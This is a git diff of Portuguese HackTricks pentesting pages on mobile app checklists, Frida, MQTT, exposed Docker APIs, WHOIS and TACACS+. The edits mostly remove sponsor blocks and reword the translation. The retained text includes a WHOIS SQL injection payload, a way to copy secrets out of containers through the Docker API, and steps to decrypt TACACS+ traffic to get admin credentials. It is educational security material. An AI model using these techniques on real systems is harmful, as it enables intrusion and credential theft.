* [ ] A aplicação está [transmitindo informações em texto claro/usando algoritmos fracos](android-app-pentesting/#insufficient-transport-layer-protection)? é possível um MitM?
* [ ] [Inspecione o tráfego HTTP/HTTPS](android-app-pentesting/#inspecting-http-traffic)
* [ ] Este ponto é realmente importante, porque se você conseguir capturar o tráfego HTTP, pode procurar por vulnerabilidades comuns na Web (Hacktricks tem muitas informações sobre vulnerabilidades Web).
* [ ] Verifique possíveis [Injeções do Lado do Cliente Android](android-app-pentesting/#android-client-side-injections-and-others) (provavelmente alguma análise de código estático ajudará aqui)
* [ ] Verifique possíveis [Injeções do Lado do Cliente Android](android-app-pentesting/#android-client-side-injections-and-others) (provavelmente alguma análise de código estático ajudará aqui).
* [ ] [Frida](android-app-pentesting/#frida): Apenas Frida, use-a para obter dados dinâmicos interessantes da aplicação (talvez algumas senhas...)
### Algumas informações sobre ofuscação/Deofuscação
* [ ] [Leia aqui](android-app-pentesting/#obfuscating-deobfuscating-code)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -94,7 +79,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -23,14 +23,6 @@ Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### Preparação
* [ ] Leia [**iOS Basics**](ios-pentesting/ios-basics.md)
@ -77,7 +69,7 @@ Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
### **Autenticação Local**
* [ ] Se uma [**autenticação local**](ios-pentesting/#local-authentication) for usada no aplicativo, você deve verificar como a autenticação está funcionando.
* [ ] Se uma [**autenticação local**](ios-pentesting/#local-authentication) é usada no aplicativo, você deve verificar como a autenticação está funcionando.
* [ ] Se estiver usando o [**Local Authentication Framework**](ios-pentesting/#local-authentication-framework), pode ser facilmente contornada.
* [ ] Se estiver usando uma [**função que pode ser contornada dinamicamente**](ios-pentesting/#local-authentication-using-keychain), você pode criar um script frida personalizado.
@ -100,7 +92,7 @@ Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
* [ ] Verifique se o aplicativo **está copiando algo para a área de transferência geral**.
* [ ] Verifique se o aplicativo **está usando os dados da área de transferência geral para algo**.
* [ ] Monitore a área de transferência para ver se algum **dado sensível é copiado**.
* [**Extensões de Aplicativos**](ios-pentesting/ios-app-extensions.md).
* [**Extensões de Aplicativo**](ios-pentesting/ios-app-extensions.md).
* [ ] O aplicativo **está usando alguma extensão**?
* [**WebViews**](ios-pentesting/ios-webviews.md).
* [ ] Verifique que tipo de webviews estão sendo usados.
@ -119,12 +111,6 @@ Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
* [ ] Verifique se há mecanismos de [**atualização/patching automático**](ios-pentesting/#hot-patching-enforced-updateing).
* [ ] Verifique se há [**bibliotecas de terceiros maliciosas**](ios-pentesting/#third-parties).
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -15,20 +15,6 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um motor de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode conferir o site deles e experimentar o motor gratuitamente em:
{% embed url="https://whiteintel.io" %}
***
## Instalando o Frida
**Passos para instalar o Frida em um dispositivo Jailbroken:**
@ -37,7 +23,7 @@ Você pode conferir o site deles e experimentar o motor gratuitamente em:
2. Navegue até Gerenciar -> Fontes -> Editar -> Adicionar.
3. Insira "https://build.frida.re" como a URL.
4. Vá para a nova fonte do Frida adicionada.
5. Instale o pacote Frida.
5. Instale o pacote do Frida.
Se você estiver usando **Corellium**, precisará baixar a versão do Frida em [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) (`frida-gadget-[sua versão]-ios-universal.dylib.gz`) e descompactar e copiar para o local dylib que o Frida solicita, por exemplo: `/Users/[seu usuário]/.cache/frida/gadget-ios.dylib`
@ -211,7 +197,7 @@ Isso é interessante para fins de depuração, mas para fuzzing, estar constante
## [Fpicker](https://github.com/ttdennis/fpicker)
[**fpicker**](https://github.com/ttdennis/fpicker) é um **conjunto de fuzzing baseado em Frida** que oferece uma variedade de modos de fuzzing para fuzzing em processo, como um modo AFL++ ou um modo de rastreamento passivo. Deve funcionar em todas as plataformas suportadas pelo Frida.
[**fpicker**](https://github.com/ttdennis/fpicker) é um **conjunto de ferramentas de fuzzing baseado em Frida** que oferece uma variedade de modos de fuzzing para fuzzing em processo, como um modo AFL++ ou um modo de rastreamento passivo. Deve funcionar em todas as plataformas suportadas pelo Frida.
* [**Instalar fpicker**](https://github.com/ttdennis/fpicker#requirements-and-installation) **& radamsa**
```bash
@ -374,21 +360,10 @@ O iOS armazena apenas 25 crashes do mesmo aplicativo, então você precisa limpa
* [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um motor de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O objetivo principal do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode verificar o site deles e experimentar o motor **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Aprenda e pratique AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -396,7 +371,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -15,19 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares de roubo**.
O objetivo principal do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode verificar o site deles e experimentar o mecanismo **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
***
## Informações Básicas

View file

@ -15,23 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode verificar o site deles e experimentar o mecanismo **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
***
## Basic Information
**MQ Telemetry Transport (MQTT)** é conhecido como um **protocolo de mensagens publish/subscribe** que se destaca por sua extrema simplicidade e leveza. Este protocolo é especificamente adaptado para ambientes onde os dispositivos têm capacidades limitadas e operam em redes caracterizadas por baixa largura de banda, alta latência ou conexões não confiáveis. Os objetivos principais do MQTT incluem minimizar o uso da largura de banda da rede e reduzir a demanda sobre os recursos do dispositivo. Além disso, visa manter uma comunicação confiável e fornecer um certo nível de garantia de entrega. Esses objetivos tornam o MQTT excepcionalmente adequado para o crescente campo da **comunicação máquina-a-máquina (M2M)** e da **Internet das Coisas (IoT)**, onde é essencial conectar uma infinidade de dispositivos de forma eficiente. Além disso, o MQTT é altamente benéfico para aplicativos móveis, onde conservar largura de banda e vida útil da bateria é crucial.
**MQ Telemetry Transport (MQTT)** é conhecido como um **protocolo de mensagens publish/subscribe** que se destaca por sua extrema simplicidade e leveza. Este protocolo é especificamente adaptado para ambientes onde os dispositivos têm capacidades limitadas e operam em redes caracterizadas por baixa largura de banda, alta latência ou conexões não confiáveis. Os principais objetivos do MQTT incluem minimizar o uso da largura de banda da rede e reduzir a demanda sobre os recursos do dispositivo. Além disso, visa manter uma comunicação confiável e fornecer um certo nível de garantia de entrega. Esses objetivos tornam o MQTT excepcionalmente adequado para o crescente campo da **comunicação máquina-a-máquina (M2M)** e da **Internet das Coisas (IoT)**, onde é essencial conectar uma infinidade de dispositivos de forma eficiente. Além disso, o MQTT é altamente benéfico para aplicativos móveis, onde conservar largura de banda e vida útil da bateria é crucial.
**Default port:** 1883
```
@ -104,14 +91,14 @@ main()
a partir daqui: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b)
### O Padrão Publicar/Assinar <a href="#b667" id="b667"></a>
### O Padrão Publish/Subscribe <a href="#b667" id="b667"></a>
O modelo publicar/assinar é composto por:
O modelo publish/subscribe é composto por:
* **Publicador**: publica uma mensagem em um (ou vários) tópico(s) no broker.
* **Assinante**: se inscreve em um (ou vários) tópico(s) no broker e recebe todas as mensagens enviadas pelo publicador.
* **Broker**: roteia todas as mensagens dos publicadores para os assinantes.
* **Tópico**: consiste em um ou mais níveis que são separados por uma barra (por exemplo, /smartshouse/livingroom/temperature).
* **Publisher**: publica uma mensagem em um (ou muitos) tópico(s) no broker.
* **Subscriber**: se inscreve em um (ou muitos) tópico(s) no broker e recebe todas as mensagens enviadas pelo publisher.
* **Broker**: roteia todas as mensagens dos publishers para os subscribers.
* **Topic**: consiste em um ou mais níveis que são separados por uma barra (por exemplo, /smartshouse/livingroom/temperature).
### Formato do Pacote <a href="#f15a" id="f15a"></a>
@ -126,7 +113,7 @@ Cada pacote MQTT contém um cabeçalho fixo (Figura 02). Figura 02: Cabeçalho F
* PUBLISH (3): Usado para enviar uma mensagem do cliente para o servidor ou vice-versa.
* PUBACK (4): Reconhecimento de um pacote PUBLISH.
* PUBREC (5): Parte de um protocolo de entrega de mensagens que garante que a mensagem seja recebida.
* PUBREL (6): Garantia adicional na entrega da mensagem, indicando uma liberação de mensagem.
* PUBREL (6): Garantia adicional na entrega da mensagem, indicando a liberação de uma mensagem.
* PUBCOMP (7): Parte final do protocolo de entrega de mensagens, indicando conclusão.
* SUBSCRIBE (8): Um pedido do cliente para escutar mensagens de um tópico.
* SUBACK (9): O reconhecimento do servidor de um pedido SUBSCRIBE.
@ -141,17 +128,6 @@ Cada pacote MQTT contém um cabeçalho fixo (Figura 02). Figura 02: Cabeçalho F
* `port:1883 MQTT`
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um motor de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode verificar o site deles e experimentar o motor **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -15,35 +15,22 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um motor de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode verificar o site deles e experimentar o motor gratuitamente em:
{% embed url="https://whiteintel.io" %}
***
### Docker Basics
#### O que é
#### What is
Docker é a **plataforma de ponta** na **indústria de containerização**, liderando a **inovação contínua**. Facilita a criação e distribuição sem esforço de aplicações, abrangendo desde **tradicionais até futuristas**, e assegura seu **desdobramento seguro** em diversos ambientes.
Docker é a **plataforma de ponta** na **indústria de containerização**, liderando a **inovação contínua**. Facilita a criação e distribuição de aplicações de forma simples, abrangendo desde **tradicionais até futuristas**, e assegura seu **desdobramento seguro** em diversos ambientes.
#### Arquitetura básica do docker
#### Basic docker architecture
* [**containerd**](http://containerd.io): Este é um **runtime central** para containers, encarregado da **gestão abrangente do ciclo de vida de um container**. Isso envolve o manuseio de **transferência e armazenamento de imagens**, além de supervisionar a **execução, monitoramento e rede** de containers. **Mais detalhes** sobre containerd são **explorados mais adiante**.
* O **container-shim** desempenha um papel crítico como um **intermediário** no manuseio de **containers sem cabeça**, assumindo perfeitamente o controle a partir do **runc** após os containers serem inicializados.
* [**runc**](http://runc.io): Reconhecido por suas capacidades de **runtime de container leve e universal**, runc está alinhado com o **padrão OCI**. É usado pelo containerd para **iniciar e gerenciar containers** de acordo com as **diretrizes OCI**, tendo evoluído a partir do original **libcontainer**.
* [**containerd**](http://containerd.io): Este é um **runtime central** para containers, encarregado da **gestão abrangente do ciclo de vida de um container**. Isso envolve o manuseio de **transferência e armazenamento de imagens**, além de supervisionar a **execução, monitoramento e rede** de containers. **Informações mais detalhadas** sobre containerd são **exploradas mais a fundo**.
* O **container-shim** desempenha um papel crítico como um **intermediário** no manuseio de **containers sem cabeça**, assumindo perfeitamente o controle a partir do **runc** após a inicialização dos containers.
* [**runc**](http://runc.io): Reconhecido por suas capacidades de **runtime de container leve e universal**, runc está alinhado com o **padrão OCI**. É utilizado pelo containerd para **iniciar e gerenciar containers** de acordo com as **diretrizes OCI**, tendo evoluído a partir do original **libcontainer**.
* [**grpc**](http://www.grpc.io) é essencial para **facilitar a comunicação** entre containerd e o **docker-engine**, garantindo uma **interação eficiente**.
* O [**OCI**](https://www.opencontainers.org) é fundamental na manutenção das **especificações OCI** para runtime e imagens, com as versões mais recentes do Docker sendo **compatíveis com os padrões de imagem e runtime OCI**.
#### Comandos básicos
#### Basic commands
```bash
docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
@ -68,7 +55,7 @@ docker system prune -a
```
#### Containerd
**Containerd** foi desenvolvido especificamente para atender às necessidades de plataformas de contêiner como **Docker e Kubernetes**, entre outras. Seu objetivo é **simplificar a execução de contêineres** em vários sistemas operacionais, incluindo Linux, Windows, Solaris e mais, abstraindo a funcionalidade específica do sistema operacional e chamadas de sistema. O objetivo do Containerd é incluir apenas os recursos essenciais necessários para seus usuários, esforçando-se para omitir componentes desnecessários. No entanto, alcançar esse objetivo completamente é reconhecido como desafiador.
**Containerd** foi desenvolvido especificamente para atender às necessidades de plataformas de contêiner como **Docker e Kubernetes**, entre outras. Seu objetivo é **simplificar a execução de contêineres** em vários sistemas operacionais, incluindo Linux, Windows, Solaris e mais, abstraindo a funcionalidade específica do sistema operacional e chamadas de sistema. O objetivo do Containerd é incluir apenas os recursos essenciais exigidos por seus usuários, esforçando-se para omitir componentes desnecessários. No entanto, alcançar esse objetivo completamente é reconhecido como desafiador.
Uma decisão de design chave é que **Containerd não lida com redes**. A rede é considerada um elemento crítico em sistemas distribuídos, com complexidades como Redes Definidas por Software (SDN) e descoberta de serviços que variam significativamente de uma plataforma para outra. Portanto, o Containerd deixa os aspectos de rede para serem gerenciados pelas plataformas que suporta.
@ -161,7 +148,7 @@ docker-init:
Version: 0.18.0
GitCommit: fec3683
```
Se você pode **contatar a API remota do docker com o comando `docker`**, você pode **executar** qualquer um dos **comandos** [**docker** comentados anteriormente](2375-pentesting-docker.md#basic-commands) para interagir com o serviço.
Se você pode **contatar a API remota do docker com o comando `docker`**, você pode **executar** qualquer um dos **comandos** [**docker comentados anteriormente**](2375-pentesting-docker.md#basic-commands) para interagir com o serviço.
{% hint style="info" %}
Você pode `export DOCKER_HOST="tcp://localhost:2375"` e **evitar** usar o parâmetro `-H` com o comando docker
@ -254,7 +241,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
* `./docker-bench-security.sh`
* Você pode usar a ferramenta [https://github.com/kost/dockscan](https://github.com/kost/dockscan) para inspecionar sua instalação atual do docker.
* `dockscan -v unix:///var/run/docker.sock`
* Você pode usar a ferramenta [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) para verificar os privilégios que um contêiner terá ao ser executado com diferentes opções de segurança. Isso é útil para conhecer as implicações de usar algumas opções de segurança para executar um contêiner:
* Você pode usar a ferramenta [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) para verificar os privilégios que um contêiner terá quando executado com diferentes opções de segurança. Isso é útil para conhecer as implicações de usar algumas opções de segurança para executar um contêiner:
* `docker run --rm -it r.j3ss.co/amicontained`
* `docker run --rm -it --pid host r.j3ss.co/amicontained`
* `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
@ -340,17 +327,6 @@ Você pode usar auditd para monitorar o docker.
* [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
* [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um motor de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode verificar o site deles e experimentar o motor **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -358,11 +334,11 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
<details>
<summary>Suporte ao HackTricks</summary>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Informações Básicas
O protocolo **WHOIS** serve como um método padrão para **consultar os registrantes ou detentores de vários recursos da Internet** através de bancos de dados específicos. Esses recursos abrangem nomes de domínio, blocos de endereços IP e sistemas autônomos, entre outros. Além disso, o protocolo encontra aplicação no acesso a um espectro mais amplo de informações.
@ -39,23 +31,17 @@ Obtenha todas as informações que um serviço whois tem sobre um domínio:
whois -h <HOST> -p <PORT> "domain.tld"
echo "domain.ltd" | nc -vn <HOST> <PORT>
```
Notice que às vezes, ao solicitar informações a um serviço WHOIS, o banco de dados utilizado aparece na resposta:
Note que às vezes, ao solicitar algumas informações a um serviço WHOIS, o banco de dados utilizado aparece na resposta:
![](<../.gitbook/assets/image (301).png>)
Além disso, o serviço WHOIS sempre precisa usar um **banco de dados** para armazenar e extrair as informações. Assim, uma possível **SQLInjection** pode estar presente ao **consultar** o banco de dados a partir de algumas informações fornecidas pelo usuário. Por exemplo, fazendo: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` você poderia **extrair todas** as **informações** salvas no banco de dados.
Além disso, o serviço WHOIS sempre precisa usar um **banco de dados** para armazenar e extrair as informações. Assim, uma possível **SQLInjection** pode estar presente ao **consultar** o banco de dados a partir de algumas informações fornecidas pelo usuário. Por exemplo, fazendo: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` você poderia ser capaz de **extrair todas** as **informações** salvas no banco de dados.
## Shodan
* `port:43 whois`
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
## HackTricks Automatic Commands
## HackTricks Comandos Automáticos
```
Protocol_Name: WHOIS #Protocol Abbreviation if there is one.
Port_Number: 43 #Comma separated if there is more than one.
@ -81,7 +67,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
<details>
<summary>Support HackTricks</summary>
<summary>Suporte ao HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Informações Básicas
O protocolo **Terminal Access Controller Access Control System (TACACS)** é usado para validar centralmente usuários que tentam acessar roteadores ou Servidores de Acesso à Rede (NAS). Sua versão atualizada, **TACACS+**, separa os serviços em autenticação, autorização e contabilidade (AAA).
@ -46,10 +38,10 @@ Um **ataque de spoofing ARP pode ser utilizado para realizar um ataque Man-in-th
```
sudo loki_gtk.py
```
Se a chave for **quebrada por força bruta** (**geralmente em formato MD5 criptografado**), **podemos acessar o equipamento e descriptografar o tráfego criptografado pelo TACACS.**
Se a chave for **quebrada com sucesso** (**geralmente em formato criptografado MD5**), **podemos acessar o equipamento e descriptografar o tráfego criptografado TACACS.**
### Descriptografando o Tráfego
Uma vez que a chave é quebrada com sucesso, o próximo passo é **descriptografar o tráfego criptografado pelo TACACS**. O Wireshark pode lidar com tráfego TACACS criptografado se a chave for fornecida. Ao analisar o tráfego descriptografado, informações como o **banner utilizado e o nome de usuário do admin** podem ser obtidas.
Uma vez que a chave é quebrada com sucesso, o próximo passo é **descriptografar o tráfego criptografado TACACS**. O Wireshark pode lidar com tráfego TACACS criptografado se a chave for fornecida. Ao analisar o tráfego descriptografado, informações como o **banner utilizado e o nome de usuário do admin** podem ser obtidas.
Ao obter acesso ao painel de controle do equipamento de rede usando as credenciais obtidas, o atacante pode exercer controle sobre a rede. É importante notar que essas ações são estritamente para fins educacionais e não devem ser usadas sem a devida autorização.
@ -57,23 +49,18 @@ Ao obter acesso ao painel de controle do equipamento de rede usando as credencia
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos no** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
